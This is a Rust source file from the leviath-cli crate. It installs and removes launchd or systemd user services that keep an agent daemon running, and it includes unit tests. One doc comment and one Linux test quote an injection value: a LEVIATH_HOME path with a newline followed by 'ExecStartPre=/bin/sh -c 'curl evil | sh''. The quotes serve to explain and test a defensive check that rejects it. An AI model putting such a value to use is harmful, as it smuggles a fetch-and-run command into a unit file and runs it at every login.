leviath-cli 0.3.9

Command-line interface for Leviath agent framework
Documentation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
//! `lev daemon install` / `lev daemon uninstall` - hand the daemon to the OS
//! supervisor so it comes back by itself after a crash.
//!
//! Without supervision, nothing restarts the daemon when it dies: a
//! long-running agent simply stops, and the next `lev run` is the only thing
//! that brings the daemon back. Registering a launchd agent (macOS) or a systemd *user*
//! unit (Linux) with a restart policy closes that gap - and on the next start
//! the daemon's own recovery pass reloads every interrupted run.
//!
//! This module is the tested core: rendering the unit file, resolving where it
//! goes, writing/removing it, and building the activation command line. Running
//! that command is real subprocess I/O and lives in the binary.
//!
//! Platform differences are `#[cfg]`-gated rather than branched at runtime, so
//! each target compiles exactly the code it uses (and covers all of it).

use std::path::{Path, PathBuf};

use anyhow::{Context, Result};

/// The reverse-DNS label both platforms key the service by.
pub const SERVICE_LABEL: &str = "dev.leviath.daemon";

/// Labels earlier releases registered the launchd agent under (the project
/// predates its move off the Sun Forge organization). Install and uninstall
/// also deregister these, so upgrading across the rename cannot leave a
/// second supervised daemon running under the old name.
#[cfg(target_os = "macos")]
pub const LEGACY_SERVICE_LABELS: &[&str] = &["ai.sunforge.leviath"];

/// A supervisor invocation: the program to run and its arguments.
///
/// `launchctl` and `systemctl` are both spawned this way. Named rather than
/// written out at each of the six places it appears, because a bare
/// `(String, Vec<String>)` says nothing about which of the two strings is the
/// program.
pub type SupervisorCommand = (String, Vec<String>);

/// The cleanup a legacy label needs: the unit file it wrote and the
/// `launchctl bootout` that deregisters it. Pure data - running the commands
/// is the caller's subprocess I/O, same split as [`ServiceUnit`].
#[cfg(target_os = "macos")]
pub fn legacy_cleanup(config_home: &Path, uid: u32) -> Vec<(PathBuf, SupervisorCommand)> {
    LEGACY_SERVICE_LABELS
        .iter()
        .map(|label| {
            (
                config_home.join(format!("{label}.plist")),
                (
                    "launchctl".to_string(),
                    vec!["bootout".to_string(), format!("gui/{uid}/{label}")],
                ),
            )
        })
        .collect()
}

/// Where a supervised daemon's stdout/stderr are appended, under the leviath
/// home directory. Only the platforms with a supervisor render a unit file.
#[cfg(any(target_os = "macos", target_os = "linux"))]
const LOG_FILE: &str = "daemon.log";

/// A rendered service definition and where it belongs.
#[derive(Debug, Clone, PartialEq, Eq)]
pub struct ServiceUnit {
    /// Absolute path the unit file is written to.
    pub path: PathBuf,
    /// The file's contents.
    pub contents: String,
    /// Command + args that tell the supervisor to pick it up.
    pub activate: SupervisorCommand,
    /// Command + args that tell the supervisor to let it go.
    pub deactivate: SupervisorCommand,
}

// ── macOS: a launchd user agent ──────────────────────────────────────────────

/// Build the service definition for this platform.
///
/// `exe` is the absolute path to the `lev` binary, `home` the leviath home
/// directory (the unit points the daemon at it explicitly, since a supervised
/// process inherits none of the user's shell environment), `config_home` the
/// directory the unit file is written into, and `uid` the user's numeric id
/// (launchd addresses per-user domains by it).
#[cfg(target_os = "macos")]
pub fn service_unit(exe: &Path, home: &Path, config_home: &Path, uid: u32) -> Result<ServiceUnit> {
    let path = config_home.join(format!("{SERVICE_LABEL}.plist"));
    Ok(ServiceUnit {
        contents: launchd_plist(exe, home, &home.join(LOG_FILE)),
        activate: (
            "launchctl".to_string(),
            vec![
                "bootstrap".to_string(),
                format!("gui/{uid}"),
                display(&path),
            ],
        ),
        deactivate: (
            "launchctl".to_string(),
            vec!["bootout".to_string(), format!("gui/{uid}/{SERVICE_LABEL}")],
        ),
        path,
    })
}

/// Where the unit file goes, relative to the user's home directory.
#[cfg(target_os = "macos")]
pub fn config_home(user_home: &Path) -> Result<PathBuf> {
    Ok(user_home.join("Library").join("LaunchAgents"))
}

/// A launchd user agent that starts the daemon at login and restarts it
/// whenever it exits - including the `abort()` this issue was about.
#[cfg(target_os = "macos")]
fn launchd_plist(exe: &Path, home: &Path, log: &Path) -> String {
    format!(
        r#"<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>Label</key>
    <string>{label}</string>
    <key>ProgramArguments</key>
    <array>
        <string>{exe}</string>
        <string>daemon</string>
    </array>
    <key>EnvironmentVariables</key>
    <dict>
        <key>LEVIATH_HOME</key>
        <string>{home}</string>
    </dict>
    <key>RunAtLoad</key>
    <true/>
    <key>KeepAlive</key>
    <true/>
    <key>ThrottleInterval</key>
    <integer>10</integer>
    <key>StandardOutPath</key>
    <string>{log}</string>
    <key>StandardErrorPath</key>
    <string>{log}</string>
</dict>
</plist>
"#,
        label = SERVICE_LABEL,
        exe = xml_escape(&display(exe)),
        home = xml_escape(&display(home)),
        log = xml_escape(&display(log)),
    )
}

/// Escape the five XML metacharacters so an odd path can't break the plist.
#[cfg(target_os = "macos")]
fn xml_escape(s: &str) -> String {
    let mut out = String::with_capacity(s.len());
    for c in s.chars() {
        match c {
            '&' => out.push_str("&amp;"),
            '<' => out.push_str("&lt;"),
            '>' => out.push_str("&gt;"),
            '"' => out.push_str("&quot;"),
            '\'' => out.push_str("&apos;"),
            _ => out.push(c),
        }
    }
    out
}

// ── Linux: a systemd user unit ───────────────────────────────────────────────

/// Build the service definition for this platform (see the macOS variant for
/// the argument contract; `uid` is unused here - systemd's `--user` mode
/// already addresses the calling user's manager).
#[cfg(target_os = "linux")]
pub fn service_unit(exe: &Path, home: &Path, config_home: &Path, _uid: u32) -> Result<ServiceUnit> {
    Ok(ServiceUnit {
        path: config_home.join("leviath.service"),
        contents: systemd_unit(exe, home, &home.join(LOG_FILE))?,
        activate: (
            "systemctl".to_string(),
            vec![
                "--user".to_string(),
                "enable".to_string(),
                "--now".to_string(),
                "leviath.service".to_string(),
            ],
        ),
        deactivate: (
            "systemctl".to_string(),
            vec![
                "--user".to_string(),
                "disable".to_string(),
                "--now".to_string(),
                "leviath.service".to_string(),
            ],
        ),
    })
}

/// Where the unit file goes, relative to the user's home directory.
#[cfg(target_os = "linux")]
pub fn config_home(user_home: &Path) -> Result<PathBuf> {
    Ok(user_home.join(".config").join("systemd").join("user"))
}

/// Reject a value that cannot be safely interpolated into a systemd unit file.
///
/// A unit file is line-oriented `Key=Value`, so a newline in an interpolated
/// value starts a **new directive**. `home` derives from `LEVIATH_HOME`, so a
/// value like `/tmp\nExecStartPre=/bin/sh -c 'curl evil | sh'` injected an
/// arbitrary command that then ran at every login. The macOS plist path is
/// XML-escaped and was never exposed to this; the systemd path had no escaping
/// at all.
///
/// Refusing is right rather than escaping: systemd has no general quoting for
/// this position, and no legitimate path contains a newline.
///
/// Not `#[cfg(target_os = "linux")]` even though only the Linux path calls it:
/// it is pure string logic, and gating it would mean the check could only be
/// exercised on one platform's CI runner. A security control should be testable
/// wherever the tests run.
///
/// `pub` (in an already-public module) rather than private-plus-`allow(dead_code)`:
/// on a non-Linux build nothing calls it, and suppressing the warning would be
/// hiding the fact rather than stating it. It is genuinely part of this module's
/// surface - the systemd renderer's input contract.
pub fn unit_safe(label: &str, value: &Path) -> Result<String> {
    let s = display(value);
    if s.contains('\n') || s.contains('\r') {
        anyhow::bail!(
            "refusing to write a systemd unit: the {label} path contains a newline, \
             which would inject additional unit directives"
        );
    }
    Ok(s)
}

/// A systemd *user* unit (no root needed) with the same restart policy.
///
/// Compiled on every platform (it is pure string assembly) so its tests run
/// everywhere; only the caller that installs it is Linux-gated.
pub fn systemd_unit(exe: &Path, home: &Path, log: &Path) -> Result<String> {
    let exe = unit_safe("executable", exe)?;
    let home = unit_safe("LEVIATH_HOME", home)?;
    let log = unit_safe("log", log)?;
    Ok(format!(
        "[Unit]\n\
         Description=Leviath shared-world agent daemon\n\
         After=network-online.target\n\
         \n\
         [Service]\n\
         Type=simple\n\
         ExecStart={exe} daemon\n\
         Environment=LEVIATH_HOME={home}\n\
         Restart=always\n\
         RestartSec=10\n\
         StandardOutput=append:{log}\n\
         StandardError=append:{log}\n\
         \n\
         [Install]\n\
         WantedBy=default.target\n",
    ))
}

// ── Everywhere else: no supported user-level supervisor ──────────────────────

/// The error shown on a platform with no supported user-level supervisor.
#[cfg(not(any(target_os = "macos", target_os = "linux")))]
const UNSUPPORTED: &str = "`lev daemon install` supports macOS (launchd) and Linux (systemd user \
                           units); on this platform, start `lev daemon` from your own login script";

/// No user-level supervisor is wired up for this platform.
#[cfg(not(any(target_os = "macos", target_os = "linux")))]
pub fn service_unit(
    _exe: &Path,
    _home: &Path,
    _config_home: &Path,
    _uid: u32,
) -> Result<ServiceUnit> {
    anyhow::bail!(UNSUPPORTED)
}

/// No user-level supervisor is wired up for this platform.
#[cfg(not(any(target_os = "macos", target_os = "linux")))]
pub fn config_home(_user_home: &Path) -> Result<PathBuf> {
    anyhow::bail!(UNSUPPORTED)
}

// ── Platform-independent ─────────────────────────────────────────────────────

/// Write `unit` to disk, creating its parent directory. Returns the path.
pub fn install(unit: &ServiceUnit) -> Result<&Path> {
    if let Some(parent) = unit.path.parent() {
        std::fs::create_dir_all(parent)
            .with_context(|| format!("creating {}", parent.display()))?;
    }
    std::fs::write(&unit.path, &unit.contents)
        .with_context(|| format!("writing {}", unit.path.display()))?;
    Ok(&unit.path)
}

/// Remove the unit file. Returns whether there was one to remove.
pub fn uninstall(unit: &ServiceUnit) -> Result<bool> {
    match std::fs::remove_file(&unit.path) {
        Ok(()) => Ok(true),
        Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(false),
        Err(e) => Err(e).with_context(|| format!("removing {}", unit.path.display())),
    }
}

/// Turn a failed supervisor command into the error the user reads.
///
/// Split from the spawn so the message is tested: it names the command that
/// failed, because "`launchctl` failed" with no argv is unactionable, and the
/// argv is the part a user can retry by hand.
pub fn supervisor_failure(cmd: &SupervisorCommand, stderr: &[u8]) -> anyhow::Error {
    anyhow::anyhow!(
        "`{} {}` failed: {}",
        cmd.0,
        cmd.1.join(" "),
        String::from_utf8_lossy(stderr).trim()
    )
}

/// Deregister and delete every service registration left under a previous
/// label, returning the paths actually removed so the caller can report them.
///
/// Best-effort by design: on a machine that never carried the old label, every
/// step is a no-op. The effects are injected so that "which files does this
/// decide to remove" is testable without a supervisor or a real home
/// directory - `run` deregisters, `remove` deletes and says whether there was
/// anything there.
#[cfg(target_os = "macos")]
pub fn remove_legacy_with(
    user_home: Option<PathBuf>,
    uid: u32,
    run: &mut dyn FnMut(&SupervisorCommand),
    remove: &mut dyn FnMut(&Path) -> bool,
) -> Vec<PathBuf> {
    let Some(user_home) = user_home else {
        return Vec::new();
    };
    // Infallible here: the macOS `config_home` only joins onto the home path.
    // A `let Ok(..) else` would be a branch this platform can never take.
    let config_home = config_home(&user_home)
        .expect("infallible: the macOS config_home only joins onto the home path");
    let mut removed = Vec::new();
    for (path, bootout) in legacy_cleanup(&config_home, uid) {
        run(&bootout);
        if remove(&path) {
            removed.push(path);
        }
    }
    removed
}

/// Register the service with the platform supervisor, returning the lines to
/// report.
///
/// The *order* is the part worth testing and the part that was easy to get
/// wrong: re-registering a live service is an error on both platforms, so any
/// previous registration is dropped first and legacy labels are cleaned before
/// the new one is activated. Get that backwards and `install` stops being
/// idempotent, or leaves a second supervised daemon behind.
///
/// Deactivation is deliberately unchecked. It fails when nothing is registered,
/// which is the normal case on a first install and not a problem.
///
/// The effects are injected for the same reason `remove_legacy_with`'s are
/// (deliberately not a link: that function is macOS-only, so the link would not
/// resolve when rustdoc runs on any other platform):
/// `run` shells out to `launchctl`/`systemctl`, and nothing about the sequence
/// needs a real supervisor to be checked.
pub fn install_with(
    unit: &ServiceUnit,
    run: &mut dyn FnMut(&SupervisorCommand) -> Result<()>,
    remove_legacy: &mut dyn FnMut() -> Vec<PathBuf>,
) -> Result<Vec<String>> {
    let path = install(unit)?;
    let mut lines = vec![format!("wrote {}", path.display())];
    let _ = run(&unit.deactivate);
    lines.extend(
        remove_legacy()
            .iter()
            .map(|p| format!("removed legacy service file {}", p.display())),
    );
    run(&unit.activate)?;
    lines.push("the leviath daemon is now supervised and will restart automatically".to_string());
    Ok(lines)
}

/// Deregister the service and remove its file, returning the lines to report.
///
/// Deregistration is unchecked for the same reason it is in [`install_with`]:
/// it fails when nothing is registered, and that is the desired end state
/// either way. Only the file removal is reported, because it is the only step
/// whose outcome the user could not have predicted.
pub fn uninstall_with(
    unit: &ServiceUnit,
    run: &mut dyn FnMut(&SupervisorCommand) -> Result<()>,
    remove_legacy: &mut dyn FnMut() -> Vec<PathBuf>,
) -> Result<Vec<String>> {
    let _ = run(&unit.deactivate);
    let mut lines: Vec<String> = remove_legacy()
        .iter()
        .map(|p| format!("removed legacy service file {}", p.display()))
        .collect();
    lines.push(match uninstall(unit)? {
        true => format!("removed {}", unit.path.display()),
        false => "no leviath service was installed".to_string(),
    });
    Ok(lines)
}

/// The line `lev daemon status` adds about supervision.
pub fn format_supervision(installed: bool, path: &Path) -> String {
    if installed {
        format!("supervised: yes ({})", path.display())
    } else {
        "supervised: no (`lev daemon install` restarts it automatically)".to_string()
    }
}

/// A path as a string, lossily - these are user home paths, valid UTF-8 in
/// every case that matters, and a lossy rendering beats failing.
///
/// Not gated to the platforms with a supervisor, even though only they build a
/// unit file: `unit_safe` is unconditional (see its own note), and a helper it
/// calls cannot be narrower than its caller. Gating it broke the Windows build
/// outright.
fn display(path: &Path) -> String {
    path.to_string_lossy().into_owned()
}

#[cfg(test)]
mod tests {
    use super::*;

    // ─── supervisor_failure ───────────────────────────────────────────────

    #[test]
    fn supervisor_failure_names_the_command_and_its_stderr() {
        let err = supervisor_failure(
            &(
                "launchctl".to_string(),
                vec!["bootstrap".to_string(), "gui/501".to_string()],
            ),
            b"  Load failed: 5: Input/output error\n",
        )
        .to_string();
        // The argv, so the user can retry it by hand.
        assert!(err.contains("`launchctl bootstrap gui/501`"), "{err}");
        // The supervisor's own words, trimmed.
        assert!(err.contains("Load failed: 5: Input/output error"), "{err}");
        assert!(!err.contains('\n'), "stderr should be trimmed: {err}");
    }

    #[test]
    fn supervisor_failure_survives_non_utf8_stderr() {
        let err = supervisor_failure(&("x".to_string(), vec![]), &[0xff, 0xfe]).to_string();
        assert!(err.contains("`x `"), "{err}");
    }

    // ─── remove_legacy_with (macOS only: nothing else ever had a rename) ──

    /// Both halves in one test on purpose. A separate no-home case would pass
    /// closures that are never called, and an uncalled closure body is an
    /// uncovered region - the gate would read a correct test as a hole.
    #[cfg(target_os = "macos")]
    #[test]
    fn remove_legacy_with_no_home_directory_does_nothing() {
        let calls = std::cell::Cell::new(0);
        let mut run = |_: &SupervisorCommand| calls.set(calls.get() + 1);
        let mut remove = |_: &Path| {
            calls.set(calls.get() + 1);
            false
        };

        assert!(remove_legacy_with(None, 501, &mut run, &mut remove).is_empty());
        assert_eq!(calls.get(), 0, "no home means no supervisor and no unlink");

        // The same closures against a real home, so both bodies run and the
        // zero above is a measured difference rather than an absence.
        assert!(
            remove_legacy_with(Some(PathBuf::from("/u")), 501, &mut run, &mut remove).is_empty()
        );
        assert!(calls.get() > 0, "the injected effects were never reached");
    }

    #[cfg(target_os = "macos")]
    #[test]
    fn remove_legacy_with_deregisters_before_deleting() {
        // Order matters: deleting the plist first would leave the label still
        // bootstrapped with no file to point at.
        let events: std::cell::RefCell<Vec<String>> = std::cell::RefCell::new(Vec::new());
        let removed = remove_legacy_with(
            Some(PathBuf::from("/u")),
            501,
            &mut |cmd| {
                events
                    .borrow_mut()
                    .push(format!("run {} {}", cmd.0, cmd.1.join(" ")));
            },
            &mut |path| {
                events
                    .borrow_mut()
                    .push(format!("remove {}", path.display()));
                true
            },
        );
        let events = events.into_inner();
        assert_eq!(removed.len(), LEGACY_SERVICE_LABELS.len());
        assert!(events[0].starts_with("run launchctl bootout"), "{events:?}");
        assert!(events[1].starts_with("remove "), "{events:?}");
    }

    /// A unit that needs no platform support to construct, for the shared
    /// filesystem helpers.
    fn bare_unit(path: PathBuf) -> ServiceUnit {
        ServiceUnit {
            path,
            contents: "unit body\n".to_string(),
            activate: ("sup".to_string(), vec!["on".to_string()]),
            deactivate: ("sup".to_string(), vec!["off".to_string()]),
        }
    }

    /// Record every supervisor command, so the *order* can be asserted rather
    /// than just the outcome.
    type SupervisorLog = std::rc::Rc<std::cell::RefCell<Vec<String>>>;

    fn recording() -> (SupervisorLog, impl FnMut(&SupervisorCommand) -> Result<()>) {
        let log: SupervisorLog = Default::default();
        let sink = log.clone();
        (log, move |cmd: &SupervisorCommand| {
            sink.borrow_mut().push(cmd.1.join(" "));
            Ok(())
        })
    }

    /// The ordering is the whole point: deactivate, clean legacy labels, *then*
    /// activate. Re-registering a live service is an error on both platforms,
    /// so activating first makes `install` non-idempotent.
    #[test]
    fn install_deactivates_and_cleans_before_it_activates() {
        let dir = tempfile::tempdir().unwrap();
        let unit = bare_unit(dir.path().join("leviath.unit"));
        let (log, mut run) = recording();
        let legacy = dir.path().join("old.plist");
        let mut remove_legacy = || vec![legacy.clone()];

        let lines = install_with(&unit, &mut run, &mut remove_legacy).unwrap();
        assert_eq!(
            *log.borrow(),
            ["off", "on"],
            "activated before deactivating"
        );
        assert!(lines[0].starts_with("wrote "), "{lines:?}");
        assert!(lines[1].contains("legacy service file"), "{lines:?}");
        assert!(lines[2].contains("supervised"), "{lines:?}");
        assert!(unit.path.exists());
    }

    /// A failed *activation* is the one that matters, and must not be swallowed
    /// the way the deactivation is.
    #[test]
    fn install_reports_a_failed_activation() {
        let dir = tempfile::tempdir().unwrap();
        let unit = bare_unit(dir.path().join("leviath.unit"));
        let mut run = |cmd: &SupervisorCommand| match cmd.1[0].as_str() {
            "on" => Err(anyhow::anyhow!("supervisor said no")),
            _ => Ok(()),
        };
        let err = install_with(&unit, &mut run, &mut Vec::new)
            .expect_err("a failed activation propagates");
        assert!(err.to_string().contains("supervisor said no"), "{err}");
    }

    /// Deregistration fails when nothing is registered, which is the normal
    /// first-run case. Propagating it would make `uninstall` fail on a machine
    /// that simply had nothing installed.
    #[test]
    fn uninstall_ignores_a_failed_deregistration() {
        let dir = tempfile::tempdir().unwrap();
        let unit = bare_unit(dir.path().join("leviath.unit"));
        install(&unit).unwrap();
        let mut run = |_: &SupervisorCommand| Err(anyhow::anyhow!("nothing registered"));

        let lines = uninstall_with(&unit, &mut run, &mut Vec::new).unwrap();
        assert_eq!(lines, [format!("removed {}", unit.path.display())]);
        assert!(!unit.path.exists());
    }

    /// A unit file that cannot be written stops the install before anything
    /// reaches the supervisor - registering a service whose file is missing
    /// would leave the machine referencing nothing.
    #[test]
    fn install_stops_when_the_unit_cannot_be_written() {
        let dir = tempfile::tempdir().unwrap();
        // A *file* where the unit's parent directory would go, so
        // `create_dir_all` cannot succeed.
        let blocker = dir.path().join("blocked");
        std::fs::write(&blocker, "not a directory").unwrap();
        let unit = bare_unit(blocker.join("nested").join("leviath.unit"));
        let (log, mut run) = recording();

        assert!(install_with(&unit, &mut run, &mut Vec::new).is_err());
        assert!(
            log.borrow().is_empty(),
            "the supervisor was called for a unit that was never written"
        );
    }

    /// A unit path that cannot be removed is an error, and distinct from one
    /// that was not there - "no leviath service was installed" would be a lie
    /// about a file still sitting on disk.
    #[test]
    fn uninstall_propagates_a_removal_it_could_not_do() {
        let dir = tempfile::tempdir().unwrap();
        // A directory where the unit file would be: `remove_file` refuses it
        // with something other than NotFound on every platform.
        let unit = bare_unit(dir.path().join("leviath.unit"));
        std::fs::create_dir(&unit.path).unwrap();
        let (_log, mut run) = recording();

        assert!(uninstall_with(&unit, &mut run, &mut Vec::new).is_err());
    }

    /// Legacy files removed during an uninstall are reported too, not only
    /// during an install.
    #[test]
    fn uninstall_reports_legacy_files_it_removed() {
        let dir = tempfile::tempdir().unwrap();
        let unit = bare_unit(dir.path().join("leviath.unit"));
        install(&unit).unwrap();
        let legacy = dir.path().join("old.plist");
        let mut remove_legacy = || vec![legacy.clone()];
        let (_log, mut run) = recording();

        let lines = uninstall_with(&unit, &mut run, &mut remove_legacy).unwrap();
        assert!(lines[0].contains("legacy service file"), "{lines:?}");
        assert!(lines[1].starts_with("removed "), "{lines:?}");
    }

    /// Nothing to remove reads differently from something removed, so a user
    /// can tell "cleaned up" from "there was nothing there".
    #[test]
    fn uninstall_says_when_there_was_nothing_installed() {
        let dir = tempfile::tempdir().unwrap();
        let unit = bare_unit(dir.path().join("absent.unit"));
        let (log, mut run) = recording();

        let lines = uninstall_with(&unit, &mut run, &mut Vec::new).unwrap();
        assert_eq!(lines, ["no leviath service was installed"]);
        assert_eq!(*log.borrow(), ["off"]);
    }

    #[test]
    fn install_writes_then_uninstall_removes_exactly_once() {
        let dir = tempfile::tempdir().unwrap();
        let unit = bare_unit(dir.path().join("nested").join("leviath.unit"));

        let written = install(&unit).unwrap().to_path_buf();
        assert_eq!(std::fs::read_to_string(&written).unwrap(), unit.contents);
        assert!(uninstall(&unit).unwrap(), "first removal reports a removal");
        assert!(
            !uninstall(&unit).unwrap(),
            "second is a no-op, not an error"
        );
    }

    #[test]
    fn install_and_uninstall_surface_io_errors() {
        let dir = tempfile::tempdir().unwrap();
        // A file where the parent directory should be ⇒ create_dir_all fails.
        let blocker = dir.path().join("blocker");
        std::fs::write(&blocker, "x").unwrap();
        assert!(install(&bare_unit(blocker.join("child").join("unit"))).is_err());

        // A *directory* where the unit file should be: the parent exists, so
        // create_dir_all succeeds and the write itself is what fails.
        let occupied = dir.path().join("occupied");
        std::fs::create_dir(&occupied).unwrap();
        assert!(install(&bare_unit(occupied.clone())).is_err());

        // Removing a directory as if it were the unit file is a real error,
        // distinct from "there was nothing to remove".
        assert!(uninstall(&bare_unit(occupied)).is_err());

        // A path with no parent directory to create (the `if let` falls through
        // straight to the write, which then fails on the empty path).
        assert!(install(&bare_unit(PathBuf::new())).is_err());
    }

    #[test]
    fn supervision_status_reads_both_ways() {
        let path = Path::new("/home/u/unit");
        assert!(format_supervision(true, path).contains("yes"));
        assert!(format_supervision(true, path).contains("/home/u/unit"));
        assert!(format_supervision(false, path).contains("no"));
    }

    // ── Platforms with a supervisor ──────────────────────────────────────────

    #[cfg(any(target_os = "macos", target_os = "linux"))]
    mod supported {
        use super::*;

        fn unit() -> ServiceUnit {
            service_unit(
                Path::new("/usr/local/bin/lev"),
                Path::new("/home/u/.leviath"),
                Path::new("/tmp/lev-units"),
                501,
            )
            .expect("this platform has a supervisor")
        }

        #[test]
        fn the_unit_restarts_the_daemon_and_points_it_at_the_leviath_home() {
            let u = unit();
            assert!(u.contents.contains("/usr/local/bin/lev"));
            assert!(u.contents.contains("/home/u/.leviath"));
            assert!(u.contents.contains(LOG_FILE));
            // Activation and deactivation drive the same supervisor.
            assert_eq!(u.activate.0, u.deactivate.0);
            assert!(!u.activate.1.is_empty() && !u.deactivate.1.is_empty());
            assert!(u.path.starts_with("/tmp/lev-units"));
            // The unit file lives under the user's home.
            let home = config_home(Path::new("/home/u")).expect("this platform has a supervisor");
            assert!(home.starts_with("/home/u"));
        }
    }

    #[cfg(target_os = "macos")]
    mod macos {
        use super::*;

        #[test]
        fn paths_with_xml_metacharacters_are_escaped() {
            assert_eq!(
                xml_escape("a&b<c>d\"e'f"),
                "a&amp;b&lt;c&gt;d&quot;e&apos;f"
            );
            assert_eq!(xml_escape("plain/path"), "plain/path");
        }

        #[test]
        fn it_is_a_launchd_plist_bootstrapped_into_the_gui_domain() {
            let u = service_unit(
                Path::new("/usr/local/bin/lev"),
                Path::new("/home/u/.leviath"),
                Path::new("/tmp/lev-units"),
                501,
            )
            .unwrap();
            assert_eq!(
                u.path.file_name().unwrap().to_string_lossy(),
                format!("{SERVICE_LABEL}.plist")
            );
            assert_eq!(u.activate.1[0], "bootstrap");
            assert_eq!(u.activate.1[1], "gui/501");
            assert_eq!(u.deactivate.1[1], format!("gui/501/{SERVICE_LABEL}"));
            // The whole point: launchd brings the daemon back after a crash.
            assert!(u.contents.contains("<key>KeepAlive</key>"));
            assert!(u.contents.contains("<key>RunAtLoad</key>"));
            assert!(
                config_home(Path::new("/home/u"))
                    .unwrap()
                    .ends_with("LaunchAgents")
            );
        }

        #[test]
        fn legacy_cleanup_covers_every_old_label_with_a_bootout_and_a_plist() {
            let actions = legacy_cleanup(Path::new("/tmp/lev-units"), 501);
            assert_eq!(actions.len(), LEGACY_SERVICE_LABELS.len());
            let (path, (cmd, args)) = &actions[0];
            assert_eq!(
                path.file_name().unwrap().to_string_lossy(),
                "ai.sunforge.leviath.plist"
            );
            assert_eq!(cmd, "launchctl");
            assert_eq!(args[0], "bootout");
            assert_eq!(args[1], "gui/501/ai.sunforge.leviath");
            // The rename is only safe because the old label is cleaned up;
            // the current label must never appear in the legacy list.
            assert!(!LEGACY_SERVICE_LABELS.contains(&SERVICE_LABEL));
        }
    }

    #[cfg(target_os = "linux")]
    mod linux {
        use super::*;

        #[test]
        fn it_is_a_systemd_user_unit_enabled_for_the_calling_user() {
            let u = service_unit(
                Path::new("/usr/local/bin/lev"),
                Path::new("/home/u/.leviath"),
                Path::new("/tmp/lev-units"),
                501,
            )
            .unwrap();
            assert_eq!(u.path.file_name().unwrap(), "leviath.service");
            assert_eq!(
                u.activate.1,
                ["--user", "enable", "--now", "leviath.service"]
            );
            assert_eq!(
                u.deactivate.1,
                ["--user", "disable", "--now", "leviath.service"]
            );
            // The whole point: systemd brings the daemon back after a crash.
            assert!(u.contents.contains("Restart=always"));
            assert!(u.contents.contains("WantedBy=default.target"));
            assert!(config_home(Path::new("/home/u")).unwrap().ends_with("user"));
        }

        /// The refusal has to be reachable through `service_unit`, not only
        /// through `systemd_unit` directly: this is the Linux-only call site,
        /// and `LEVIATH_HOME` is the value an attacker controls.
        ///
        /// It needs its own test because the propagation only exists on Linux -
        /// on macOS this function is not compiled, so a macOS-only coverage run
        /// cannot see the arm at all. That is exactly how it was missed.
        #[test]
        fn a_newline_in_leviath_home_is_refused_at_the_call_site() {
            let err = service_unit(
                Path::new("/usr/local/bin/lev"),
                Path::new("/tmp/x\nExecStartPre=/bin/sh -c 'curl evil | sh'"),
                Path::new("/tmp/lev-units"),
                501,
            )
            .expect_err("a newline in the home path must not reach the unit file");
            assert!(err.to_string().contains("LEVIATH_HOME"), "{err}");
        }
    }

